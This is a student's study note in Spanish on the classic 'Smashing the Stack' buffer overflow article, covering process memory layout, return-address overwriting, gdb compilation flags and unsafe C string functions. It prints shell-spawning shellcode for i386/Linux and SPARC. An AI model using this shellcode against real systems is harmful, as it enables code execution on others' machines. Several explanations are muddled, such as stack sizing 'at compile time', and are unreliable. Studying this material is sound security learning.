Buffer overflow smashing the stack

Como me han dejado de tarea investigar a partir de ésta liga:

http://insecure.org/stf/smashstack.html

aquí anotaré lo que parece más reelevante para mí:

Organización de procesos en memoria

1) Texto
2) Datos
3) Pilas

la region del texto solamente incluye instrucciones de solo lectura.

tratar de escribir en la region de texto de la memoria, estaríamos entrando en una violación de segmento.

la región de datos contiene datos inicializados o no inicializados.

las variables estáticas se alojan en ésta región

La región de datos se aloja en la sección BSS del archivo ejecutable, que indica BSS -> sección de datos no inicializados, que empieza al final de segmentos de datos, que contiene todas las variables estáticas y globales, que son inicializadas en 0 o que no tienen inicialización específica en el código fuente.

Retomando: la sección BSS del archivo ejecutable puede ser modificada en cuanto al tamaño con una llamada de sistema brk(2).

si se sobrepasa el tamaño que viene por defecto del user stack o de la sección bss, se organiza nuevamente para asignarle un espacio en memoria más grande.


Pilas -> Abstracción de tipo de datos, que tiene la disponibilidad de extraer el último elemento agregado a la estructura.

La región Stack

Los tamaños de la pila se ajustan dinámicamente por el kernel en tiempo de compilación.

Un buffer overflow permite cambiar la dirección de memoria que regresa una función, pudiendo cambiar el flujo de ejecucción del programa.

Con la herramienta GDB, podemos modificar la devolución que tienen los programas, ya que utilizamos la pila para poder ver el código en ASM y con él modificar el curso del programa.

GDB "ejecutable"


pero para poder ver las banderas correctamente, en vez de ver las referencias a la biblioteca dinámica de C, utilizamos, la bandera de -static

gcc -o shellcode -ggdb -static shellcode.c

viendo el main, epezamos a ver el flujo de la información más detalladamente.

otra opción:

gcc -o shellcodeasm -g -ggdb shellcodeasm.c

creo que se ve perfectamente que se quiere visualizar.

Nunca pensé ver writting an exploit XP


PFF, hacen un overflow a la biblioteca Xt de Xorg... diablos!!

Nota personal: casi ninguna biblioteca de C hace checking de límites de memoria disponible, como:

strcat(), strcpy(), sprintf(), vsprintf(), éstas operan con cadenas terminadas en nulo.

y no checan para ningún overflow de ninguna cadena recibida


shellcode de diferentes arquitecturas:

i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
 movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
 mov -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------

Como resumen, se pueden detectar a partir de números mágicos los programas instalados en la región stack de procesos a partir de su shellcode, escribiendo a partir de ellos instancias de los programas, para poder detectar a partir de parámetros el flujo de la información que los programas nos darán.

pero tenemos que conocer el funcionamiento de algunas bibliotecas de C para poder hacerlo, pansandole información que obtenemos con GDB o con las otras herramientas de visualización para poder tener una conclusión que nos ayude a detectar, hacer o mejorar exploits de buffers overflows.